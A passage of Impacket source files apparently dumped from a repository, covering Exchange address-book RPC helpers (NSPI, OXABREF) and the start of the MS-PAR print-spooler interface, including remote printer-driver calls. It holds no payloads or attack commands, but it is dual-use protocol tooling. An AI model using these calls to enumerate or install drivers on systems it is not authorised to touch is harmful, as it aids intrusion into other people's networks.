array.append(value['Data'][:-1])\n            row[PropTag] = array\n        elif isinstance(prop_value, WStringArray_r):\n            array = []\n            for value in prop_value['lppszW']:\n                array.append(value['Data'][:-1])\n            row[PropTag] = array\n        elif isinstance(prop_value, FILETIME):\n            row[PropTag] = datetime.fromtimestamp( \\\n                getUnixTime(unpack('<Q', prop_value.getData())[0]))\n        else:\n            row[PropTag] = prop_value\n\n    return row\n\ndef simplifyPropertyRowSet(propertyRowSet):\n    ret = []\n\n    for rowSet in propertyRowSet['aRow']:\n        ret.append(simplifyPropertyRow(rowSet))\n\n    return ret\n\ndef hNspiBind(dce, pStat=None):\n    request = NspiBind()\n\n    if pStat == None:\n        request['pStat']['CodePage'] = CP_TELETEX\n    else:\n        request['pStat'] = pStat\n\n    resp = dce.request(request)\n    return resp\n\ndef hNspiUnbind(dce, handler):\n    request = NspiUnbind()\n    request['contextHandle'] = handler\n\n    resp = dce.request(request, checkError=False)\n    return resp\n\ndef hNspiUpdateStat(dce, handler, pStat, plDelta=NULL):\n    request = NspiUpdateStat()\n    request['hRpc'] = handler\n    request['pStat'] = pStat\n    request['plDelta'] = plDelta\n\n    resp = dce.request(request, checkError=False)\n    return resp\n\ndef hNspiQueryRows(dce, handler, dwFlags=fSkipObjects, pStat=None, ContainerID=0,\n        Count=50, pPropTags=[], pPropTagsRaw=NULL, lpETable=[]):\n    request = NspiQueryRows()\n    request['hRpc'] = handler\n    request['dwFlags'] = dwFlags\n    request['Count'] = Count\n\n    if pStat == None:\n        request['pStat']['ContainerID'] = ContainerID\n    else:\n        request['pStat'] = pStat\n\n    if len(pPropTags) > 0:\n        for aulPropTag in pPropTags:\n            prop = DWORD()\n            prop['Data'] = aulPropTag\n            request['pPropTags']['aulPropTag'].append(prop)\n        request['pPropTags']['cValues'] = len(pPropTags)\n        request.fields['pPropTags'].fields['Data'].fields['aulPropTag'].fields['MaximumCount'] = len(pPropTags) + 1\n    else:\n        request['pPropTags'] = pPropTagsRaw\n\n    if len(lpETable) > 0:\n        for mID in lpETable:\n            elem = DWORD()\n            elem['Data'] = mID\n            request['lpETable'].append(elem)\n        request['dwETableCount'] = len(lpETable)\n    else:\n        request['lpETable'] = NULL\n        request['dwETableCount'] = 0\n\n    resp = dce.request(request)\n    return resp\n\ndef hNspiSeekEntries(dce, handler, displayName, ContainerID=0, SortType=0, \\\n        lpETable=[], lpETableRaw=NULL, pPropTags=[], pPropTagsRaw=NULL):\n    request = NspiSeekEntries()\n    request['hRpc'] = handler\n    request['pStat']['ContainerID'] = ContainerID\n\n    # MS-OXNSPI 3.1.4.1.9.9\n    # If the SortType field in the input parameter pStat has any value other than\n    # SortTypeDisplayName, the server MUST return the value GeneralFailure.\n    request['pStat']['SortType'] = SortTypeDisplayName\n\n    # MS-OXNSPI 3.1.4.1.9.10\n    # If the SortType field in the input parameter pStat is SortTypeDisplayName and the property\n    # specified in the input parameter pTarget is anything other than PidTagDisplayName (with either\n    # the Property Type PtypString8 or PtypString), the server MUST return the value\n    # GeneralFailure.\n    request['pTarget']['ulPropTag'] = 0x3001001F\n    request['pTarget']['Value']['tag'] = 0x0000001F\n    request['pTarget']['Value']['lpszW'] = checkNullString(displayName)\n\n    if len(lpETable) > 0:\n        for mID in lpETable:\n            elem = DWORD()\n            elem['Data'] = mID\n            request['lpETable'].append(elem)\n    else:\n        request['lpETable'] = lpETableRaw\n\n    if len(pPropTags) > 0:\n        for aulPropTag in pPropTags:\n            prop = DWORD()\n            prop['Data'] = aulPropTag\n            request['pPropTags']['aulPropTag'].append(prop)\n        request.fields['pPropTags'].fields['aulPropTag'].fields['MaximumCount'] = len(pPropTags) + 1\n    else:\n        request['pPropTags'] = pPropTagsRaw\n\n    resp = dce.request(request)\n    return resp\n\ndef hNspiDNToMId(dce, handler, pNames=[]):\n    request = NspiDNToMId()\n    request['hRpc'] = handler\n    request['pNames']['Count'] = len(pNames)\n\n    for name in pNames:\n        lpstr = LPSTR()\n        lpstr['Data'] = checkNullString(name)\n        request['pNames']['Strings'].append(lpstr)\n\n    resp = dce.request(request)\n    return resp\n\ndef hNspiGetPropList(dce, handler, dwMId=0, dwFlags=fSkipObjects, CodePage=CP_TELETEX):\n    request = NspiGetPropList()\n    request['hRpc'] = handler\n    request['dwMId'] = dwMId\n    request['dwFlags'] = dwFlags\n    request['CodePage'] = CodePage\n    resp = dce.request(request)\n\n    return resp\n\ndef hNspiGetProps(dce, handler, ContainerID=0, CurrentRec=0, dwFlags=fSkipObjects, CodePage=CP_TELETEX, pPropTags=[]):\n    request = NspiGetProps()\n    request['hRpc'] = handler\n    request['dwFlags'] = dwFlags\n\n    request['pStat']['CurrentRec'] = CurrentRec\n    request['pStat']['ContainerID'] = ContainerID\n    request['pStat']['CodePage'] = CodePage\n\n    for aulPropTag in pPropTags:\n        prop = DWORD()\n        prop['Data'] = aulPropTag\n        request['pPropTags']['aulPropTag'].append(prop)\n    request['pPropTags']['cValues'] = len(pPropTags) + 1\n    request.fields['pPropTags'].fields['Data'].fields['aulPropTag'].fields['MaximumCount'] = len(pPropTags) + 1\n\n    resp = dce.request(request)\n    return resp\n\ndef hNspiGetSpecialTable(dce, handler, dwFlags=NspiUnicodeStrings, pStat=STAT(), lpVersion=NULL):\n    request = NspiGetSpecialTable()\n    request['hRpc'] = handler\n    request['dwFlags'] = dwFlags\n    request['pStat'] = pStat\n    request['lpVersion'] = lpVersion\n\n    resp = dce.request(request)\n    return resp\n\n# Lookups specified LegacyDN or CN={ulType},CN={dwLocaleID},CN=Display-Templates,CN=Addressing in Configuration Naming Context\ndef hNspiGetTemplateInfo(dce, handler, pDN=NULL, dwLocaleID=0, ulType=0, dwCodePage=0, dwFlags=0xFFFFFFFF):\n    request = NspiGetTemplateInfo()\n    request['hRpc'] = handler\n    request['dwFlags'] = dwFlags\n    request['ulType'] = ulType\n    request['pDN'] = checkNullString(pDN)\n    request['dwCodePage'] = dwCodePage\n    request['dwLocaleID'] = dwLocaleID\n\n    resp = dce.request(request)\n    return resp\n\ndef hNspiModLinkAtt(dce, handler, dwFlags, ulPropTag, dwMId, lpEntryIds):\n    request = NspiModLinkAtt()\n    request['hRpc'] = handler\n    request['dwFlags'] = dwFlags\n    request['ulPropTag'] = ulPropTag\n    request['dwMId'] = dwMId\n\n    for lpEntryId in lpEntryIds:\n        prop = Binary_r()\n        prop['lpb'] = lpEntryId.getData()\n        prop['cValues'] = len(prop['lpb'])\n        request['lpEntryIds']['lpbin'].append(prop)\n    request['lpEntryIds']['cValues'] = len(lpEntryIds)\n\n    resp = dce.request(request)\n    return resp\n\ndef hNspiQueryColumns(dce, handler, dwFlags=NspiUnicodeProptypes):\n    request = NspiQueryColumns()\n    request['hRpc'] = handler\n    request['dwFlags'] = dwFlags\n\n    resp = dce.request(request)\n    return resp\n\ndef hNspiGetNamesFromIDs(dce, handler, lpguid=EMPTY_UUID, pPropTags=[], pPropTagsRaw=NULL):\n    request = NspiGetNamesFromIDs()\n    request['hRpc'] = handler\n    request['lpguid'] = lpguid\n\n    if len(pPropTags) > 0:\n        for aulPropTag in pPropTags:\n            prop = DWORD()\n            prop['Data'] = aulPropTag\n            request['pPropTags']['aulPropTag'].append(prop)\n        request['pPropTags']['cValues'] = len(pPropTags)\n        request.fields['pPropTags'].fields['Data'].fields['aulPropTag'].fields['MaximumCount'] = len(pPropTags) + 1\n    elif pPropTagsRaw == NULL:\n        request.fields['pPropTags'] = NULL\n    else:\n        request['pPropTags'] = pPropTagsRaw\n\n    resp = dce.request(request)\n    return resp\n\ndef hNspiResolveNames(dce, handler, ContainerID=0, pPropTags=[], pPropTagsRaw=NULL, paStr=[]):\n    request = NspiResolveNames()\n    request['hRpc'] = handler\n    request['pStat']['ContainerID'] = ContainerID\n\n    if len(pPropTags) > 0:\n        for aulPropTag in pPropTags:\n            prop = DWORD()\n            prop['Data'] = aulPropTag\n            request['pPropTags']['aulPropTag'].append(prop)\n        request['pPropTags']['cValues'] = len(pPropTags)\n        request.fields['pPropTags'].fields['Data'].fields['aulPropTag'].fields['MaximumCount'] = len(pPropTags) + 1\n    elif pPropTagsRaw == NULL:\n        request.fields['pPropTags'] = NULL\n    else:\n        request['pPropTags'] = pPropTagsRaw\n\n    if len(paStr) > 0:\n        for paStrElem in paStr:\n            value = LPSTR()\n            value['Data'] = checkNullString(paStrElem)\n            request['paStr']['Strings'].append(value)\n        request['paStr']['Count'] = len(paStr)\n\n    resp = dce.request(request)\n    return resp\n\ndef hNspiResolveNamesW(dce, handler, ContainerID=0, pPropTags=[], pPropTagsRaw=NULL, paStr=[]):\n    request = NspiResolveNamesW()\n    request['hRpc'] = handler\n    request['pStat']['ContainerID'] = ContainerID\n\n    if len(pPropTags) > 0:\n        for aulPropTag in pPropTags:\n            prop = DWORD()\n            prop['Data'] = aulPropTag\n            request['pPropTags']['aulPropTag'].append(prop)\n        request['pPropTags']['cValues'] = len(pPropTags)\n        request.fields['pPropTags'].fields['Data'].fields['aulPropTag'].fields['MaximumCount'] = len(pPropTags) + 1\n    elif pPropTagsRaw == NULL:\n        request.fields['pPropTags'] = NULL\n    else:\n        request['pPropTags'] = pPropTagsRaw\n\n    if len(paStr) > 0:\n        for paStrElem in paStr:\n            value = LPWSTR()\n            value['Data'] = checkNullString(paStrElem)\n            request['paStr']['Strings'].append(value)\n        request['paStr']['Count'] = len(paStr)\n\n    resp = dce.request(request)\n    return resp\n"
  },
  {
    "path": "impacket/dcerpc/v5/oxabref.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-OXABREF]: Address Book Name Service Provider Interface (NSPI) Referral Protocol\n#\n# Author:\n#   Arseniy Sharoglazov <mohemiv@gmail.com> / Positive Technologies (https://www.ptsecurity.com/)\n#\n\nfrom impacket import hresult_errors, mapi_constants\nfrom impacket.dcerpc.v5.dtypes import NULL, STR, ULONG\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.uuid import uuidtup_to_bin\n\nMSRPC_UUID_OXABREF = uuidtup_to_bin(('1544F5E0-613C-11D1-93DF-00C04FD7BD09','1.0'))\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        key = self.error_code\n        if key in mapi_constants.ERROR_MESSAGES:\n            error_msg_short = mapi_constants.ERROR_MESSAGES[key]\n            return 'OXABREF SessionError: code: 0x%x - %s' % (self.error_code, error_msg_short)\n        elif key in hresult_errors.ERROR_MESSAGES:\n            error_msg_short = hresult_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = hresult_errors.ERROR_MESSAGES[key][1]\n            return 'OXABREF SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'OXABREF SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# STRUCTURES\n################################################################################\nclass PUCHAR_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', STR),\n    )\n\nclass PPUCHAR_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', PUCHAR_ARRAY),\n    )\n\n################################################################################\n# RPC CALLS\n################################################################################\n\n# 3.1.4.1 RfrGetNewDSA (opnum 0)\nclass RfrGetNewDSA(NDRCALL):\n    opnum = 0\n    structure = (\n       ('ulFlags', ULONG),\n       ('pUserDN', STR),\n       ('ppszUnused', PPUCHAR_ARRAY),\n       ('ppszServer', PPUCHAR_ARRAY),\n    )\n\nclass RfrGetNewDSAResponse(NDRCALL):\n    structure = (\n       ('ppszUnused', PPUCHAR_ARRAY),\n       ('ppszServer', PPUCHAR_ARRAY),\n    )\n\n# 3.1.4.2 RfrGetFQDNFromServerDN (opnum 1)\nclass RfrGetFQDNFromServerDN(NDRCALL):\n    opnum = 1\n    structure = (\n       ('ulFlags', ULONG),\n       ('cbMailboxServerDN', ULONG),\n       ('szMailboxServerDN', STR),\n    )\n\nclass RfrGetFQDNFromServerDNResponse(NDRCALL):\n    structure = (\n       ('ppszServerFQDN', PUCHAR_ARRAY),\n       ('ErrorCode', ULONG),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n    0   : (RfrGetNewDSA, RfrGetNewDSAResponse),\n    1   : (RfrGetFQDNFromServerDN, RfrGetFQDNFromServerDNResponse),\n}\n\n################################################################################\n# HELPER FUNCTIONS\n################################################################################\ndef checkNullString(string):\n    if string == NULL:\n        return string\n\n    if string[-1:] != '\\x00':\n        return string + '\\x00'\n    else:\n        return string\n\ndef hRfrGetNewDSA(dce, pUserDN=''):\n    request = RfrGetNewDSA()\n    request['ulFlags'] = 0\n    request['pUserDN'] = checkNullString(pUserDN)\n    request['ppszUnused'] = NULL\n    request['ppszServer'] = '\\x00'\n\n    resp = dce.request(request)\n    resp['ppszServer'] = resp['ppszServer'][:-1]\n\n    if request['ppszUnused'] != NULL:\n        resp['ppszUnused'] = resp['ppszUnused'][:-1]\n\n    return resp\n\ndef hRfrGetFQDNFromServerDN(dce, szMailboxServerDN):\n    szMailboxServerDN = checkNullString(szMailboxServerDN)\n    request = RfrGetFQDNFromServerDN()\n    request['ulFlags'] = 0\n    request['szMailboxServerDN'] = szMailboxServerDN\n    request['cbMailboxServerDN'] = len(szMailboxServerDN)\n\n    resp = dce.request(request)\n    resp['ppszServerFQDN'] = resp['ppszServerFQDN'][:-1]\n\n    return resp\n"
  },
  {
    "path": "impacket/dcerpc/v5/par.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   [MS-PAR] Interface implementation\n#   https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-par\n#\n#   Best way to learn how to use these calls is to grab the protocol standard\n#   so you understand what the call does, and then read the test case located\n#   at https://github.com/fortra/impacket/tree/master/tests/SMB_RPC\n#\n#   Some calls have helper functions, which makes it even easier to use.\n#   They are located at the end of this file.\n#   Helper functions start with \"h\"<name of the call>.\n#   There are test cases for them too.\n#\n# Author:\n#   Adam (@cube0x0)\n#\nfrom impacket import system_errors\nfrom impacket.dcerpc.v5.dtypes import ULONGLONG, UINT, USHORT, LPWSTR, DWORD, ULONG, NULL\nfrom impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRUNION, NDRPOINTER, NDRUniConformantArray\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.uuid import uuidtup_to_bin, string_to_bin\n\nMSRPC_UUID_PAR = uuidtup_to_bin(('76F03F96-CDFD-44FC-A22C-64950A001209', '1.0'))\nMSRPC_UUID_WINSPOOL = string_to_bin('9940CA8E-512F-4C58-88A9-61098D6896BD')\n\nclass DCERPCSessionError(DCERPCException):\n    def __init__(self, error_string=None, error_code=None, packet=None):\n        DCERPCException.__init__(self, error_string, error_code, packet)\n\n    def __str__( self ):\n        key = self.error_code\n        if key in system_errors.ERROR_MESSAGES:\n            error_msg_short = system_errors.ERROR_MESSAGES[key][0]\n            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1] \n            return 'RPRN SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)\n        else:\n            return 'RPRN SessionError: unknown error code: 0x%x' % self.error_code\n\n################################################################################\n# CONSTANTS\n################################################################################\n# 2.2.1.1.7 STRING_HANDLE\nSTRING_HANDLE = LPWSTR\nclass PSTRING_HANDLE(NDRPOINTER):\n    referent = (\n        ('Data', STRING_HANDLE),\n    )\n\n# 2.2.3.1 Access Values\nJOB_ACCESS_ADMINISTER         = 0x00000010\nJOB_ACCESS_READ               = 0x00000020\nJOB_EXECUTE                   = 0x00020010\nJOB_READ                      = 0x00020020\nJOB_WRITE                     = 0x00020010\nJOB_ALL_ACCESS                = 0x000F0030\nPRINTER_ACCESS_ADMINISTER     = 0x00000004\nPRINTER_ACCESS_USE            = 0x00000008\nPRINTER_ACCESS_MANAGE_LIMITED = 0x00000040\nPRINTER_ALL_ACCESS            = 0x000F000C\nPRINTER_EXECUTE               = 0x00020008\nPRINTER_READ                  = 0x00020008\nPRINTER_WRITE                 = 0x00020008\nSERVER_ACCESS_ADMINISTER      = 0x00000001\nSERVER_ACCESS_ENUMERATE       = 0x00000002\nSERVER_ALL_ACCESS             = 0x000F0003\nSERVER_EXECUTE                = 0x00020002\nSERVER_READ                   = 0x00020002\nSERVER_WRITE                  = 0x00020003\nSPECIFIC_RIGHTS_ALL           = 0x0000FFFF\nSTANDARD_RIGHTS_ALL           = 0x001F0000\nSTANDARD_RIGHTS_EXECUTE       = 0x00020000\nSTANDARD_RIGHTS_READ          = 0x00020000\nSTANDARD_RIGHTS_REQUIRED      = 0x000F0000\nSTANDARD_RIGHTS_WRITE         = 0x00020000\nSYNCHRONIZE                   = 0x00100000\nDELETE                        = 0x00010000\nREAD_CONTROL                  = 0x00020000\nWRITE_DAC                     = 0x00040000\nWRITE_OWNER                   = 0x00080000\nGENERIC_READ                  = 0x80000000\nGENERIC_WRITE                 = 0x40000000\nGENERIC_EXECUTE               = 0x20000000\nGENERIC_ALL                   = 0x10000000\n\n# 2.2.3.6.1 Printer Change Flags for Use with a Printer Handle\nPRINTER_CHANGE_SET_PRINTER        = 0x00000002\nPRINTER_CHANGE_DELETE_PRINTER     = 0x00000004\nPRINTER_CHANGE_PRINTER            = 0x000000FF\nPRINTER_CHANGE_ADD_JOB            = 0x00000100\nPRINTER_CHANGE_SET_JOB            = 0x00000200\nPRINTER_CHANGE_DELETE_JOB         = 0x00000400\nPRINTER_CHANGE_WRITE_JOB          = 0x00000800\nPRINTER_CHANGE_JOB                = 0x0000FF00\nPRINTER_CHANGE_SET_PRINTER_DRIVER = 0x20000000\nPRINTER_CHANGE_TIMEOUT            = 0x80000000\nPRINTER_CHANGE_ALL                = 0x7777FFFF\nPRINTER_CHANGE_ALL_2              = 0x7F77FFFF\n\n# 2.2.3.6.2 Printer Change Flags for Use with a Server Handle\nPRINTER_CHANGE_ADD_PRINTER_DRIVER        = 0x10000000\nPRINTER_CHANGE_DELETE_PRINTER_DRIVER     = 0x40000000\nPRINTER_CHANGE_PRINTER_DRIVER            = 0x70000000\nPRINTER_CHANGE_ADD_FORM                  = 0x00010000\nPRINTER_CHANGE_DELETE_FORM               = 0x00040000\nPRINTER_CHANGE_SET_FORM                  = 0x00020000\nPRINTER_CHANGE_FORM                      = 0x00070000\nPRINTER_CHANGE_ADD_PORT                  = 0x00100000\nPRINTER_CHANGE_CONFIGURE_PORT            = 0x00200000\nPRINTER_CHANGE_DELETE_PORT               = 0x00400000\nPRINTER_CHANGE_PORT                      = 0x00700000\nPRINTER_CHANGE_ADD_PRINT_PROCESSOR       = 0x01000000\nPRINTER_CHANGE_DELETE_PRINT_PROCESSOR    = 0x04000000\nPRINTER_CHANGE_PRINT_PROCESSOR           = 0x07000000\nPRINTER_CHANGE_ADD_PRINTER               = 0x00000001\nPRINTER_CHANGE_FAILED_CONNECTION_PRINTER = 0x00000008\nPRINTER_CHANGE_SERVER                    = 0x08000000\n\n# 2.2.3.7 Printer Enumeration Flags\nPRINTER_ENUM_LOCAL       = 0x00000002\nPRINTER_ENUM_CONNECTIONS = 0x00000004\nPRINTER_ENUM_NAME        = 0x00000008\nPRINTER_ENUM_REMOTE      = 0x00000010\nPRINTER_ENUM_SHARED      = 0x00000020\nPRINTER_ENUM_NETWORK     = 0x00000040\nPRINTER_ENUM_EXPAND      = 0x00004000\nPRINTER_ENUM_CONTAINER   = 0x00008000\nPRINTER_ENUM_ICON1       = 0x00010000\nPRINTER_ENUM_ICON2       = 0x00020000\nPRINTER_ENUM_ICON3       = 0x00040000\nPRINTER_ENUM_ICON8       = 0x00800000\nPRINTER_ENUM_HIDE        = 0x01000000\n\n\n# 2.2.3.8 Printer Notification Values\nPRINTER_NOTIFY_CATEGORY_2D  = 0x00000000\nPRINTER_NOTIFY_CATEGORY_ALL = 0x00010000\nPRINTER_NOTIFY_CATEGORY_3D  = 0x00020000\n\n\n# 3.1.4.4.8 RpcAddPrinterDriverEx Values\nAPD_STRICT_UPGRADE              = 0x00000001\nAPD_STRICT_DOWNGRADE            = 0x00000002\nAPD_COPY_ALL_FILES              = 0x00000004\nAPD_COPY_NEW_FILES              = 0x00000008\nAPD_COPY_FROM_DIRECTORY         = 0x00000010\nAPD_DONT_COPY_FILES_TO_CLUSTER  = 0x00001000\nAPD_COPY_TO_ALL_SPOOLERS        = 0x00002000\nAPD_INSTALL_WARNED_DRIVER       = 0x00008000\nAPD_RETURN_BLOCKING_STATUS_CODE = 0x00010000\n\n################################################################################\n# STRUCTURES\n################################################################################\n# 2.2.1.1.4 PRINTER_HANDLE\nclass PRINTER_HANDLE(NDRSTRUCT):\n    structure =  (\n        ('Data','20s=b\"\"'),\n    )\n    def getAlignment(self):\n        if self._isNDR64 is True:\n            return 8\n        else:\n            return 4\n\n# 2.2.1.2.1 DEVMODE_CONTAINER\nclass BYTE_ARRAY(NDRUniConformantArray):\n    item = 'c'\n\nclass PBYTE_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', BYTE_ARRAY),\n    )\n\nclass DEVMODE_CONTAINER(NDRSTRUCT):\n    structure =  (\n        ('cbBuf',DWORD),\n        ('pDevMode',PBYTE_ARRAY),\n    )\n\n# 2.2.1.11.1 SPLCLIENT_INFO_1\nclass SPLCLIENT_INFO_1(NDRSTRUCT):\n    structure =  (\n        ('dwSize',DWORD),\n        ('pMachineName',LPWSTR),\n        ('pUserName',LPWSTR),\n        ('dwBuildNum',DWORD),\n        ('dwMajorVersion',DWORD),\n        ('dwMinorVersion',DWORD),\n        ('wProcessorArchitecture',USHORT),\n    )\n\nclass PSPLCLIENT_INFO_1(NDRPOINTER):\n    referent = (\n        ('Data', SPLCLIENT_INFO_1),\n    )\n\n# 2.2.1.11.2 SPLCLIENT_INFO_2\nclass SPLCLIENT_INFO_2(NDRSTRUCT):\n    structure =  (\n        ('notUsed',ULONGLONG),\n    )\n\nclass PSPLCLIENT_INFO_2(NDRPOINTER):\n    referent = (\n        ('Data', SPLCLIENT_INFO_2),\n    )\n# 2.2.1.11.3 SPLCLIENT_INFO_3\nclass SPLCLIENT_INFO_3(NDRSTRUCT):\n    structure =  (\n        ('cbSize',UINT),\n        ('dwFlags',DWORD),\n        ('dwFlags',DWORD),\n        ('pMachineName',LPWSTR),\n        ('pUserName',LPWSTR),\n        ('dwBuildNum',DWORD),\n        ('dwMajorVersion',DWORD),\n        ('dwMinorVersion',DWORD),\n        ('wProcessorArchitecture',USHORT),\n        ('hSplPrinter',ULONGLONG),\n    )\n\nclass PSPLCLIENT_INFO_3(NDRPOINTER):\n    referent = (\n        ('Data', SPLCLIENT_INFO_3),\n    )\n\n# 2.2.1.5.1 DRIVER_INFO_1\nclass DRIVER_INFO_1(NDRSTRUCT):\n    structure = (\n        ('pName', STRING_HANDLE ),\n    )\nclass PDRIVER_INFO_1(NDRPOINTER):\n    referent = (\n        ('Data', DRIVER_INFO_1),\n    )\n\n# 2.2.1.5.2 DRIVER_INFO_2\nclass DRIVER_INFO_2(NDRSTRUCT):\n    structure = (\n        ('cVersion',DWORD),\n        ('pName', LPWSTR),\n        ('pEnvironment', LPWSTR),\n        ('pDriverPath', LPWSTR),\n        ('pDataFile', LPWSTR),\n        ('pConfigFile', LPWSTR),\n    )\nclass PDRIVER_INFO_2(NDRPOINTER):\n    referent = (\n        ('Data', DRIVER_INFO_2),\n    )\n\n# 2.2.1.2.3 DRIVER_CONTAINER\nclass DRIVER_INFO_UNION(NDRUNION):\n    commonHdr = (\n        ('tag', ULONG),\n    )\n    union = {\n        1 : ('pNotUsed', PDRIVER_INFO_1),\n        2 : ('Level2', PDRIVER_INFO_2),\n    }\n\nclass DRIVER_CONTAINER(NDRSTRUCT):\n    structure =  (\n        ('Level', DWORD),\n        ('DriverInfo', DRIVER_INFO_UNION),\n    )\n\n# 2.2.1.2.14 SPLCLIENT_CONTAINER\nclass CLIENT_INFO_UNION(NDRUNION):\n    commonHdr = (\n        ('tag', ULONG),\n    )\n    union = {\n        1 : ('pClientInfo1', PSPLCLIENT_INFO_1),\n        2 : ('pNotUsed1', PSPLCLIENT_INFO_2),\n        3 : ('pNotUsed2', PSPLCLIENT_INFO_3),\n    }\n\nclass SPLCLIENT_CONTAINER(NDRSTRUCT):\n    structure =  (\n        ('Level',DWORD),\n        ('ClientInfo',CLIENT_INFO_UNION),\n    )\n\n# 2.2.1.13.2 RPC_V2_NOTIFY_OPTIONS_TYPE\nclass USHORT_ARRAY(NDRUniConformantArray):\n    item = '<H'\n\nclass PUSHORT_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', USHORT_ARRAY),\n    )\n\nclass RpcAsync_V2_NOTIFY_OPTIONS_TYPE(NDRSTRUCT):\n    structure =  (\n        ('Type',USHORT),\n        ('Reserved0',USHORT),\n        ('Reserved1',DWORD),\n        ('Reserved2',DWORD),\n        ('Count',DWORD),\n        ('pFields',PUSHORT_ARRAY),\n    )\n\nclass PRPC_V2_NOTIFY_OPTIONS_TYPE_ARRAY(NDRPOINTER):\n    referent = (\n        ('Data', RpcAsync_V2_NOTIFY_OPTIONS_TYPE),\n    )\n\n# 2.2.1.13.1 RPC_V2_NOTIFY_OPTIONS\nclass RpcAsync_V2_NOTIFY_OPTIONS(NDRSTRUCT):\n    structure =  (\n        ('Version',DWORD),\n        ('Reserved',DWORD),\n        ('Count',DWORD),\n        ('pTypes',PRPC_V2_NOTIFY_OPTIONS_TYPE_ARRAY),\n    )\n\nclass PRPC_V2_NOTIFY_OPTIONS(NDRPOINTER):\n    referent = (\n        ('Data', RpcAsync_V2_NOTIFY_OPTIONS),\n    )\n\n\n################################################################################\n# RPC CALLS\n################################################################################\n# 3.1.4.1.21 RpcAsyncEnumPrinters (Opnum 38)\nclass RpcAsyncEnumPrinters(NDRCALL):\n    opnum = 38\n    structure = (\n       ('Flags', DWORD),\n       ('Name', STRING_HANDLE),\n       ('Level', DWORD),\n       ('pPrinterEnum', PBYTE_ARRAY),\n       ('cbBuf', DWORD),\n    )\n\nclass RpcAsyncEnumPrintersResponse(NDRCALL):\n    structure = (\n       ('pPrinterEnum', PBYTE_ARRAY),\n       ('pcbNeeded', DWORD),\n       ('pcReturned', DWORD),\n       ('ErrorCode', ULONG),\n    )\n\n# 3.1.4.1.1 RpcAsyncOpenPrinter (Opnum 0)\nclass RpcAsyncOpenPrinter(NDRCALL):\n    opnum = 0\n    structure = (\n       ('pPrinterName', STRING_HANDLE),\n       ('pDatatype', LPWSTR),\n       ('pDevModeContainer', DEVMODE_CONTAINER),\n       ('AccessRequired', DWORD),\n       ('pClientInfo', SPLCLIENT_CONTAINER),\n    )\n\nclass RpcAsyncOpenPrinterResponse(NDRCALL):\n    structure = (\n       ('pHandle', PRINTER_HANDLE),\n       ('ErrorCode', ULONG),\n    )\n\n# 3.1.4.1.10 RpcAsyncClosePrinter (Opnum 20)\nclass RpcAsyncClosePrinter(NDRCALL):\n    opnum = 20\n    structure = (\n       ('phPrinter', PRINTER_HANDLE),\n    )\n\nclass RpcAsyncClosePrinterResponse(NDRCALL):\n    structure = (\n       ('phPrinter', PRINTER_HANDLE),\n       ('ErrorCode', ULONG),\n    )\n\n# 3.1.4.2.3 RpcAsyncEnumPrinterDrivers (Opnum 40)\nclass RpcAsyncEnumPrinterDrivers(NDRCALL):\n    opnum = 40\n    structure = (\n       ('pName', STRING_HANDLE),\n       ('pEnvironment', LPWSTR),\n       ('Level', DWORD),\n       ('pDrivers', PBYTE_ARRAY),\n       ('cbBuf', DWORD),\n    )\n\nclass RpcAsyncEnumPrinterDriversResponse(NDRCALL):\n    structure = (\n       ('pDrivers', PBYTE_ARRAY),\n       ('pcbNeeded', DWORD),\n       ('pcReturned', DWORD),\n       ('ErrorCode', ULONG),\n    )\n\n# 3.1.4.2.4 RpcAsyncGetPrinterDriverDirectory (Opnum 41)\nclass RpcAsyncGetPrinterDriverDirectory(NDRCALL):\n   opnum = 41\n   structure = (\n       ('pName', STRING_HANDLE),\n       ('pEnvironment', LPWSTR),\n       ('Level', DWORD),\n       ('pDriverDirectory', PBYTE_ARRAY),\n       ('cbBuf', DWORD)\n   )\n   \nclass RpcAsyncGetPrinterDriverDirectoryResponse(NDRCALL):\n    structure = (\n       ('pDriverDirectory', PBYTE_ARRAY),\n       ('pcbNeeded', DWORD),\n       ('ErrorCode', ULONG)\n    )\n\n# 3.1.4.2.2 RpcAsyncAddPrinterDriver (Opnum 39)\nclass RpcAsyncAddPrinterDriver(NDRCALL):\n    opnum = 39\n    structure = (\n       ('pName', STRING_HANDLE),\n       ('pDriverContainer', DRIVER_CONTAINER),\n       ('dwFileCopyFlags', DWORD),\n    )\n\nclass RpcAsyncAddPrinterDriverResponse(NDRCALL):\n    structure = (\n       ('ErrorCode', ULONG),\n    )\n\n################################################################################\n# OPNUMs and their corresponding structures\n################################################################################\nOPNUMS = {\n    0  : (RpcAsyncOpenPrinter, RpcAsyncOpenPrinterResponse),\n    #1  : (RpcAsyncAddPrinter, RpcAsyncAddPrinterResponse),\n    20 : (RpcAsyncClosePrinter, RpcAsyncClosePrinterResponse),\n    38 : (RpcAsyncEnumPrinters, RpcAsyncEnumPrintersResponse),\n    39 : (RpcAsyncAddPrinterDriver, RpcAsyncAddPrinterDriver),\n    40 : 